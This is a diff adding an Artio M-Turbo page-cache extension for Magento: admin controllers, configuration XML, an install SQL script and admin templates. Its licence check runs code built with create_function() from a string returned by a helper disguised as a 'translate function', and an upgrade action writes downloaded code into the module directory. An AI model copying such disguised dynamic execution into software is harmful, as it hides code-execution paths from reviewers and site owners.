+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_Action
27
+ {
28
+
29
+ /**
30
+ * Initailization layout
31
+ **/
32
+ protected function _initAction() {
33
+
34
+ $this->loadLayout();
35
+ $this->getLayout()->getBlock('head')->setCanLoadExtJs(true)
36
+ ->setContainerCssClass('catalog-categories');
37
+
38
+ $this->_setActiveMenu('system');
39
+ $this->_addBreadcrumb(Mage::helper('adminhtml')->__('Turbo Cache Management'), Mage::helper('adminhtml')->__('Turbo Cache Management'));
40
+
41
+ return $this;
42
+ }
43
+
44
+
45
+ public function indexAction() {
46
+
47
+ $config = Artio_MTurbo_Helper_Data::getConfig();
48
+ if ($config->isFirstConfig()) {
49
+ $this->_redirect('mturbo/adminhtml_mturbo/first');
50
+ } else {
51
+ $this->_initAction()->renderLayout();
52
+ }
53
+
54
+
55
+ }
56
+
57
+ public function firstAction() {
58
+ $this->_initAction()->renderLayout();
59
+ }
60
+
61
+ public function installAction() {
62
+
63
+ $request = $this->getRequest();
64
+ $newData = array();
65
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_TURBOPATH ] = $request->getPost('turbopath');
66
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_FIRSTCONFIG ] = '0';
67
+
68
+ try {
69
+ $config = Mage::getSingleton('mturbo/config');
70
+ $config->saveAttributes($newData);
71
+
72
+ $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Installation complete. Welcome!!!'));
73
+
74
+ } catch (Exception $e) {
75
+ $this->_getSession()->addError(Mage::helper('mturbo')->__('Configuration error').' : '.$e->getMessage());
76
+ }
77
+
78
+ $this->_redirect('mturbo/adminhtml_mturbo/index');
79
+
80
+ }
81
+
82
+
83
+ public function categoriesJsonAction() {
84
+
85
+ if ($this->getRequest()->getParam('expand_all'))
86
+ Mage::getSingleton('admin/session')->setIsTreeWasExpanded(true);
87
+ else
88
+ Mage::getSingleton('admin/session')->setIsTreeWasExpanded(false);
89
+
90
+ if ($categoryId = (int) $this->getRequest()->getPost('id')) {
91
+ $this->getRequest()->setParam('id', $categoryId);
92
+ if (!$category = $this->_initCategory()) return;
93
+
94
+ $this->getResponse()->setBody(
95
+ $this->getLayout()->createBlock('adminhtml/catalog_category_tree')
96
+ ->getTreeJson($category)
97
+ );
98
+ }
99
+
100
+ }
101
+
102
+ protected function _initCategory() {
103
+
104
+ $categoryId = (int) $this->getRequest()->getParam('id',false);
105
+ $storeId = (int) $this->getRequest()->getParam('store');
106
+ $category = Mage::getModel('catalog/category');
107
+ $category->setStoreId($storeId);
108
+
109
+ if ($categoryId) {
110
+ $category->load($categoryId);
111
+ if ($storeId) {
112
+ $rootId = Mage::app()->getStore($storeId)->getRootCategoryId();
113
+ if (!in_array($rootId, $category->getPathIds())) {
114
+ // load root category instead wrong one
115
+ if ($getRootInstead) {
116
+ $category->load($rootId);
117
+ }
118
+ else {
119
+ $this->_redirect('*/*/', array('_current'=>true, 'id'=>null));
120
+ return false;
121
+ }
122
+ }
123
+ }
124
+ }
125
+
126
+ if ($activeTabId = (string) $this->getRequest()->getParam('active_tab_id')) {
127
+ Mage::getSingleton('admin/session')->setActiveTabId($activeTabId);
128
+ }
129
+
130
+ Mage::register('category', $category);
131
+ Mage::register('current_category', $category);
132
+ return $category;
133
+
134
+ }
135
+
136
+ public function downloadAction() {
137
+
138
+ if (!$this->_checkLicence()) return;
139
+
140
+ $importids = $this->getRequest()->getParam('massrefresh');
141
+ if (empty($importids)) {
142
+ $model = Mage::getModel('mturbo/mturbo');
143
+ $model->synchronize();
144
+ $this->getResponse()->setBody($this->getLayout()->createBlock('mturbo/adminhtml_run')->toHtml());
145
+ } else {
146
+ $importidsArray = explode(",", $importids);
147
+ if (is_array($importidsArray)) {
148
+ $this->getResponse()->setBody($this->getLayout()
149
+ ->createBlock('mturbo/adminhtml_run')
150
+ ->setImportIds($importidsArray)
151
+ ->toHtml());
152
+ }
153
+ }
154
+
155
+ $this->getResponse()->sendResponse();
156
+ }
157
+
158
+ public function synchronizeAction() {
159
+
160
+ if (!$this->_checkLicence()) return;
161
+
162
+ try {
163
+ $model = Mage::getModel('mturbo/mturbo');
164
+ $model->synchronize();
165
+ $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Synchronization complete'));
166
+ } catch (Exception $e) {
167
+ $this->_getSession()->addError(Mage::helper('mturbo')->__('Synchronization error').' : '.$e->getMessage());
168
+ }
169
+
170
+ $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
171
+
172
+ }
173
+
174
+ public function generateurllistAction() {
175
+
176
+ if (!$this->_checkLicence()) return;
177
+
178
+ try {
179
+ $model = Mage::getModel('mturbo/mturbo');
180
+ $count = $model->generateUrlList();
181
+ $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Generate complete. Write %d urls', $count));
182
+ } catch (Exception $e) {
183
+ $this->_getSession()->addError(Mage::helper('mturbo')->__('Generate error').' : '.$e->getMessage());
184
+ }
185
+
186
+ $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
187
+
188
+ }
189
+
190
+ public function clearpagesAction() {
191
+
192
+ if (!$this->_checkLicence()) return;
193
+
194
+ try {
195
+ Mage::getModel('mturbo/mturbo')->clearAllPages();
196
+ $this->_getSession()->addSuccess( Mage::helper('mturbo')->__('All pages was succesfully removed') );
197
+ } catch (Exception $e) {
198
+ $this->_getSession()->addError( Mage::helper('mturbo')->__('Remove error:') . $e->getMessage() );
199
+ }
200
+
201
+ $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
202
+
203
+ }
204
+
205
+ public function massDeleteAction() {
206
+
207
+ $ids = $this->getRequest()->getParam('mturbo');
208
+
209
+ if(!is_array($ids)) {
210
+ $this->_getSession()->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
211
+ } else {
212
+
213
+ try {
214
+
215
+ foreach ($ids as $id) {
216
+ $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
217
+ $mturbo->delete();
218
+ }
219
+ $this->_getSession()->addSuccess(
220
+ Mage::helper('adminhtml')->__('Total of %d record(s) were successfully deleted', count($ids)));
221
+
222
+ } catch (Exception $e) {
223
+ $this->_getSession()->addError($e->getMessage());
224
+ }
225
+
226
+ }
227
+
228
+ $this->_redirect('*/*/index');
229
+
230
+ }
231
+
232
+ public function blockAction() {
233
+ $this->stateAction(1);
234
+ }
235
+
236
+ public function unblockAction() {
237
+ $this->stateAction(0);
238
+ }
239
+
240
+ public function stateAction($state) {
241
+
242
+ $id = $this->getRequest()->getParam('id');
243
+
244
+ try {
245
+
246
+ $mturbo = Mage::getSingleton('mturbo/mturbo')
247
+ ->load($id)
248
+ ->setBlocked($state)
249
+ ->setIsMassupdate(true)
250
+ ->save();
251
+
252
+ $this->_getSession()->addSuccess(
253
+ $this->__('Record was successfully updated'));
254
+
255
+ } catch (Exception $e) {
256
+ $this->_getSession()->addError($e->getMessage());
257
+ }
258
+
259
+ $this->_redirect('*/*/index');
260
+
261
+ }
262
+
263
+ public function massBlockAction() {
264
+ $this->massStateAction(1);
265
+ }
266
+
267
+ public function massUnblockAction() {
268
+ $this->massStateAction(0);
269
+ }
270
+
271
+ private function massStateAction($state) {
272
+
273
+ $ids = $this->getRequest()->getParam('mturbo');
274
+ if(!is_array($ids)) {
275
+ $this->_getSession()->addError($this->__('Please select item(s)'));
276
+ } else {
277
+ try {
278
+ foreach ($ids as $id) {
279
+ $mturbo = Mage::getSingleton('mturbo/mturbo')
280
+ ->load($id)
281
+ ->setBlocked($state)
282
+ ->setIsMassupdate(true)
283
+ ->save();
284
+
285
+ }
286
+ $this->_getSession()->addSuccess(
287
+ $this->__('Total of %d record(s) were successfully updated', count($ids)));
288
+
289
+ } catch (Exception $e) {
290
+ $this->_getSession()->addError($e->getMessage());
291
+ }
292
+ }
293
+
294
+ $this->_redirect('*/*/index');
295
+ }
296
+
297
+ /**
298
+ * Downloade one page.
299
+ */
300
+ public function refreshAction() {
301
+
302
+ if (!$this->_checkLicence()) return;
303
+
304
+ $id = $this->getRequest()->getParam('id');
305
+
306
+ try {
307
+
308
+ $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
309
+ if ($mturbo->isBlocked())
310
+ $this->_getSession()->addWarning(Mage::helper('mturbo')->__("Blocked page can't refresh"));
311
+ else {
312
+ $mturbo->download()->save();
313
+ $this->_getSession()->addSuccess(
314
+ Mage::helper('mturbo')->__("Page was succesfull download. Now is cached."));
315
+ }
316
+
317
+ } catch (Exception $e) {
318
+ $this->_getSession()->addError(
319
+ Mage::helper('mturbo')->__("Downloading page fail. " . $e->getMessage()));
320
+ }
321
+
322
+
323
+ $this->_redirect('*/*/index');
324
+
325
+ }
326
+
327
+ public function massRefreshAction() {
328
+ $ids = $this->getRequest()->getParam('massrefresh');
329
+ $this->_redirect('*/*/download', array('massrefresh' => $ids));
330
+ }
331
+
332
+ public function downloadFinishAction() {}
333
+
334
+ public function downloadRunAction() {
335
+
336
+ if ($this->getRequest()->isPost()) {
337
+
338
+ $batchId = $this->getRequest()->getPost('batch_id',0);
339
+
340
+ $mturbo = Mage::getModel('mturbo/mturbo')->load($batchId);
341
+ if (!$mturbo->getId()) return ;
342
+
343
+ $errors = array();
344
+ $messages = array();
345
+
346
+ try {
347
+ if ($mturbo->isBlocked()) {
348
+ $messages[] = Mage::helper('mturbo')->__('Skip blocked page: ').$mturbo->getInfoUrl();
349
+ } else {
350
+ $mturbo->download()->save();
351
+ $messages[] = Mage::helper('mturbo')->__('Page downloaded: ').$mturbo->getInfoUrl();
352
+ }
353
+ } catch (Exception $e) {
354
+ $errors[] = $e->getMessage();
355
+ }
356
+
357
+ $result = array(
358
+ 'savedRows' => 1,
359
+ 'errors' => $errors,
360
+ 'messages' => $messages
361
+ );
362
+ $this->getResponse()->setBody(Zend_Json::encode($result));
363
+ }
364
+
365
+ }
366
+
367
+ public function upgradeAction() {
368
+
369
+ $checkXml = Mage::helper('mturbo/checker')->checkPermissionLayout();
370
+ if (!$checkXml) {
371
+ $this->_getSession()->addWarning(Mage::helper('mturbo')->__("Please, change permission to write on file: 'app/design/adminhtml/default/default/layout.xml'"));
372
+ $this->_redirect('*/*/index');
373
+ return;
374
+ }
375
+
376
+ $checkCode = Mage::helper('mturbo/checker')->checkPermissionCode();
377
+ if (!$checkCode) {
378
+ $this->_getSession()->addWarning(Mage::helper('mturbo')->__("Please, change permission to write recursive on directory: 'app/code/local/Artio/MTurbo'"));
379
+ $this->_redirect('*/*/index');
380
+ return;
381
+ }
382
+
383
+ $message = Mage::helper('mturbo/downloader')->downloadAndUpgrade();
384
+ if ($message=='') {
385
+ $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Upgrade complete, please refresh Magento system cache'));
386
+ } else {
387
+ $this->_getSession()->addWarning($message);
388
+ }
389
+
390
+ $this->_redirect('*/*/index');
391
+ }
392
+
393
+ /**
394
+ * Check licence code. If license code is not valid then add warning at output.
395
+ * @return bool
396
+ */
397
+ private function _checkLicence() {
398
+
399
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
400
+ // no post accepted
401
+ if ($this->_redirect('index')=='post') return true;
402
+ return $trans(Mage::helper('mturbo')->setTranslateMode(5), $this);
403
+
404
+
405
+ }
406
+
407
+ public function red($url) {
408
+ $this->_redirect($url);
409
+ }
410
+
411
+ public function getSes() {
412
+ return $this->_getSession();
413
+ }
414
+
415
+ }
app/code/local/Artio/MTurbo/controllers/AdminhtmlController.php ADDED
@@ -0,0 +1,64 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_AdminhtmlController extends Mage_Adminhtml_Controller_Action
27
+ {
28
+
29
+ public function saveAction() {
30
+
31
+ $request = $this->getRequest();
32
+
33
+ $newData = array();
34
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_PREVIEW_CATEGORIES ] = $request->getPost('preview_categories');
35
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_PRODUCT_CATEGORIES ] = $request->getPost('product_categories');
36
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_INCLUDED_HOMEPAGE ] = $request->getPost('homepage');
37
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_TURBOPATH ] = $request->getPost('turbopath');
38
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_MULTISTOREVIEW ] = $request->getPost('multistoreview');
39
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_REFRESH_AFTER_SAVE ] = $request->getPost('refreshsave');
40
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_ENABLE_AUTOMATIC_DOWNLOAD ] = $request->getPost('automaticdownload');
41
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_DOWNLOAD_TIME ] = $request->getPost('downloadtime');
42
+ $newData[ Artio_MTurbo_Model_Config::CONFIG_XML_PATH_LICENSEID ] = $request->getPost('licenseid');
43
+
44
+ try {
45
+ $config = Mage::getSingleton('mturbo/config');
46
+ $config->saveAttributes($newData);
47
+ $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Configuration was successfully saved'));
48
+ } catch (Exception $e) {
49
+ $this->_getSession()->addError(Mage::helper('mturbo')->__('Configuration error').' : '.$e->getMessage());
50
+ }
51
+
52
+ $activeTab='';
53
+ foreach ($request->getPost() as $key=>$value) {
54
+ if (strpos($key, 'section')>0) {
55
+ $activeTab = $key;
56
+ break;
57
+ }
58
+ }
59
+
60
+ $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>$request->getPost('activeTab')));
61
+
62
+ }
63
+
64
+ }
app/code/local/Artio/MTurbo/etc/config.xml ADDED
@@ -0,0 +1,181 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <!--
3
+ /**
4
+ * @category Artio
5
+ * @package Artio_MTurbo
6
+ * @author Artio
7
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
8
+ */
9
+ -->
10
+ <config>
11
+ <modules>
12
+ <Artio_MTurbo>
13
+ <version>0.1.0</version>
14
+ </Artio_MTurbo>
15
+ </modules>
16
+ <admin>
17
+ <routers>
18
+ <mturbo>
19
+ <use>admin</use>
20
+ <args>
21
+ <module>Artio_MTurbo</module>
22
+ <frontName>mturbo</frontName>
23
+ </args>
24
+ </mturbo>
25
+ </routers>
26
+ </admin>
27
+ <adminhtml>
28
+ <translate>
29
+ <modules>
30
+ <Artio_MTurbo>
31
+ <files>
32
+ <default>Artio_MTurbo.csv</default>
33
+ </files>
34
+ </Artio_MTurbo>
35
+ </modules>
36
+ </translate>
37
+ <menu>
38
+ <system>
39
+ <children>
40
+ <mturbo translate="title" module="mturbo">
41
+ <title>M-Turbo Management</title>
42
+ <action>mturbo/adminhtml_check</action>
43
+ <sort_order>91</sort_order>
44
+ </mturbo>
45
+ </children>
46
+ </system>
47
+ </menu>
48
+ <layout>
49
+ <updates>
50
+ <mturbo>
51
+ <file>mturbo.xml</file>
52
+ </mturbo>
53
+ </updates>
54
+ </layout>
55
+ <events>
56
+ <catalog_product_save_commit_after>
57
+ <observers>
58
+ <mturbo>
59
+ <class>mturbo/observer</class>
60
+ <method>afterSaveProduct</method>
61
+ </mturbo>
62
+ </observers>
63
+ </catalog_product_save_commit_after>
64
+ <catalog_category_save_before>
65
+ <observers>
66
+ <mturbo>
67
+ <class>mturbo/observer</class>
68
+ <method>beforeSaveCategory</method>
69
+ </mturbo>
70
+ </observers>
71
+ </catalog_category_save_before>
72
+ <catalog_category_save_commit_after>
73
+ <observers>
74
+ <mturbo>
75
+ <class>mturbo/observer</class>
76
+ <method>afterSaveCategory</method>
77
+ </mturbo>
78
+ </observers>
79
+ </catalog_category_save_commit_after>
80
+ <core_abstract_save_commit_after>
81
+ <observers>
82
+ <mturbo>
83
+ <class>mturbo/observer</class>
84
+ <method>afterSaveCommitUrl</method>
85
+ </mturbo>
86
+ </observers>
87
+ </core_abstract_save_commit_after>
88
+ <admin_session_user_login_success>
89
+ <observers>
90
+ <mturbo>
91
+ <class>mturbo/observer</class>
92
+ <method>adminLogin</method>
93
+ </mturbo>
94
+ </observers>
95
+ </admin_session_user_login_success>
96
+ </events>
97
+ </adminhtml>
98
+ <frontend>
99
+ <events>
100
+ <customer_login>
101
+ <observers>
102
+ <mturbo>
103
+ <class>mturbo/observer</class>
104
+ <method>customerLogin</method>
105
+ </mturbo>
106
+ </observers>
107
+ </customer_login>
108
+ <customer_logout>
109
+ <observers>
110
+ <mturbo>
111
+ <class>mturbo/observer</class>
112
+ <method>customerLogout</method>
113
+ </mturbo>
114
+ </observers>
115
+ </customer_logout>
116
+ <core_block_abstract_prepare_layout_after>
117
+ <observers>
118
+ <mturbo>
119
+ <class>mturbo/observer</class>
120
+ <method>systemCheck</method>
121
+ </mturbo>
122
+ </observers>
123
+ </core_block_abstract_prepare_layout_after>
124
+ </events>
125
+ </frontend>
126
+ <global>
127
+ <models>
128
+ <mturbo>
129
+ <class>Artio_MTurbo_Model</class>
130
+ <resourceModel>mturbo_mysql4</resourceModel>
131
+ </mturbo>
132
+ <mturbo_mysql4>
133
+ <class>Artio_MTurbo_Model_Mysql4</class>
134
+ <entities>
135
+ <mturbo>
136
+ <table>mturbo</table>
137
+ </mturbo>
138
+ </entities>
139
+ </mturbo_mysql4>
140
+ </models>
141
+ <resources>
142
+ <mturbo_setup>
143
+ <setup>
144
+ <module>Artio_MTurbo</module>
145
+ </setup>
146
+ <connection>
147
+ <use>core_setup</use>
148
+ </connection>
149
+ </mturbo_setup>
150
+ <mturbo_write>
151
+ <connection>
152
+ <use>core_write</use>
153
+ </connection>
154
+ </mturbo_write>
155
+ <mturbo_read>
156
+ <connection>
157
+ <use>core_read</use>
158
+ </connection>
159
+ </mturbo_read>
160
+ </resources>
161
+ <blocks>
162
+ <mturbo>
163
+ <class>Artio_MTurbo_Block</class>
164
+ </mturbo>
165
+ </blocks>
166
+ <helpers>
167
+ <mturbo>
168
+ <class>Artio_MTurbo_Helper</class>
169
+ </mturbo>
170
+ </helpers>
171
+ </global>
172
+ <crontab>
173
+ <jobs>
174
+ <mturbo_mturbo>
175
+ <run>
176
+ <model>mturbo/observer::automaticDownload</model>
177
+ </run>
178
+ </mturbo_mturbo>
179
+ </jobs>
180
+ </crontab>
181
+ </config>
app/code/local/Artio/MTurbo/sql/mturbo_setup/mysql4-install-0.1.0.php ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ $notification = Mage::getModel('adminNotification/inbox');
28
+ $notf = array( 'is_read'=>0, 'date_added'=>date('Y-m-d H:i:s'), 'severity'=>4, 'url'=>'http://www.artio.net/magento-extensions/m-turbo-accelerator' );
29
+
30
+ try {
31
+
32
+ $installer = $this;
33
+
34
+ $installer->startSetup();
35
+
36
+ $installer->run("
37
+
38
+ CREATE TABLE IF NOT EXISTS `mturbo` (
39
+ `mturbo_id` int(11) unsigned NOT NULL auto_increment,
40
+ `url_rewrite_id` int(10) default NULL,
41
+ `store_id` smallint(5) unsigned default NULL,
42
+ `category_id` int(10) unsigned default NULL,
43
+ `product_id` int(10) unsigned default NULL,
44
+ `request_path` varchar(100) default NULL,
45
+ `last_refresh` datetime default NULL,
46
+ `blocked` tinyint(1) NOT NULL default '0',
47
+ PRIMARY KEY (`mturbo_id`),
48
+ KEY `fk_url_rewrite` (`url_rewrite_id`)
49
+ ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;
50
+
51
+ INSERT INTO `core_config_data` (`scope`, `scope_id`, `path`, `value`) VALUES
52
+ ('default', 0, 'mturbo/previewcats', ''),
53
+ ('default', 0, 'mturbo/productcats', ''),
54
+ ('default', 0, 'mturbo/homepage', '1'),
55
+ ('default', 0, 'mturbo/multistoreview', '0'),
56
+ ('default', 0, 'mturbo/refreshsave', '1'),
57
+ ('default', 0, 'mturbo/automaticdownload', '0'),
58
+ ('default', 0, 'crontab/jobs/mturbo_mturbo/schedule/cron_expr', '0 3 * * *'),
59
+ ('default', 0, 'crontab/jobs/mturbo_mturbo/run/model', 'mturbo/observer::automaticDownload'),
60
+ ('default', 0, 'mturbo/firstconfig', '1');
61
+ ");
62
+
63
+ $notf['title'] = Mage::helper('mturbo')->__('M-Turbo instalation succesfull. Please see into System/Turbo Cache Management');
64
+ $notf['description'] = Mage::helper('mturbo')->__("Installation succesfull. Now will be your Magento faster than other.");
65
+
66
+ $notification->parse(array($notf));
67
+
68
+ $installer->endSetup();
69
+
70
+ } catch (Exception $e) {
71
+
72
+ $notf['title'] = Mage::helper('mturbo')->__('M-Turbo installation problem');
73
+ $notf['description'] = $e->getMessage();
74
+ $notification->parse(array($notf));
75
+
76
+ }
app/design/adminhtml/default/default/layout/mturbo.xml ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0" ?>
2
+ <layout version="0.1.0">
3
+ <mturbo_adminhtml_mturbo_index>
4
+ <reference name="content">
5
+ <block type="mturbo/adminhtml_mturbo" name="mturbo" >
6
+ <block type="mturbo/adminhtml_edit_form" name="mturbo_form" />
7
+ </block>
8
+ </reference>
9
+ <reference name="left">
10
+ <block type="mturbo/adminhtml_edit_tabs" name="edit_tabs" template="mturbo/tabs.phtml">
11
+ <block type="mturbo/adminhtml_edit_tab_url" name="edit_tab_url" />
12
+ <block type="mturbo/adminhtml_edit_tab_main" name="edit_tab_main" />
13
+ <block type="mturbo/adminhtml_edit_tab_category" name="edit_tab_category" />
14
+ <block type="mturbo/adminhtml_edit_tab_actions" name="edit_tab_actions" />
15
+ <block type="mturbo/adminhtml_edit_tab_license" name="edit_tab_license" />
16
+ <action method="addTab"><name>url_section</name><block>edit_tab_url</block></action>
17
+ <action method="addTab"><name>main_section</name><block>edit_tab_main</block></action>
18
+ <action method="addTab"><name>category_section</name><block>edit_tab_category</block></action>
19
+ <action method="addTab"><name>actions_section</name><block>edit_tab_actions</block></action>
20
+ <action method="addTab"><name>license_section</name><block>edit_tab_license</block></action>
21
+ </block>
22
+ <block type="core/template" name="demo_text" template="mturbo/demo.phtml" />
23
+ </reference>
24
+ </mturbo_adminhtml_mturbo_index>
25
+ <mturbo_adminhtml_mturbo_first>
26
+ <reference name="content">
27
+ <block type="mturbo/adminhtml_welcome" name="mturbo_welcome" >
28
+ <block type="mturbo/adminhtml_welcome_form" name="form" />
29
+ </block>
30
+ </reference>
31
+ </mturbo_adminhtml_mturbo_first>
32
+ <mturbo_adminhtml_check_index>
33
+ <reference name="content">
34
+ <block type="mturbo/adminhtml_welcome" name="mturbo_welcome" >
35
+ <block type="mturbo/adminhtml_welcome_form" name="form" />
36
+ </block>
37
+ </reference>
38
+ </mturbo_adminhtml_check_index>
39
+ </layout>
app/design/adminhtml/default/default/template/mturbo/demo.phtml ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Academic Free License (AFL 3.0)
8
+ * that is bundled with this package in the file LICENSE_AFL.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/afl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category design_default
22
+ * @package MTurbo
23
+ * @copyright Copyright (c) Artio 2010 (www.artio.net)
24
+ * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
25
+ */
26
+ ?>
27
+ <div style="background-color:#EFF5EA;border:1px solid #95A486;color:#3D6611;margin:20px 20px 20px 10px;padding:10px">
28
+ <p>
29
+ Note: You are using<br />
30
+ free version of M-Turbo.
31
+ </p>
32
+ <p>
33
+ Free version does not<br />
34
+ cache product detail<br />
35
+ pages and includes<br />
36
+ footer information.
37
+ </p>
38
+ <p>
39
+ To use full features<br />
40
+ and remove footer signature,<br />
41
+ please, upgrade to<br />
42
+ <a href="http://www.artio.net/e-shop/magento-extensions/m-turbo-magento-accelerator" title="MTurbo">full version</a>.
43
+ </p>
44
+ </div>
app/design/adminhtml/default/default/template/mturbo/massaction.phtml ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Academic Free License (AFL 3.0)
8
+ * that is bundled with this package in the file LICENSE_AFL.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/afl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category design_default
22
+ * @package Mage
23
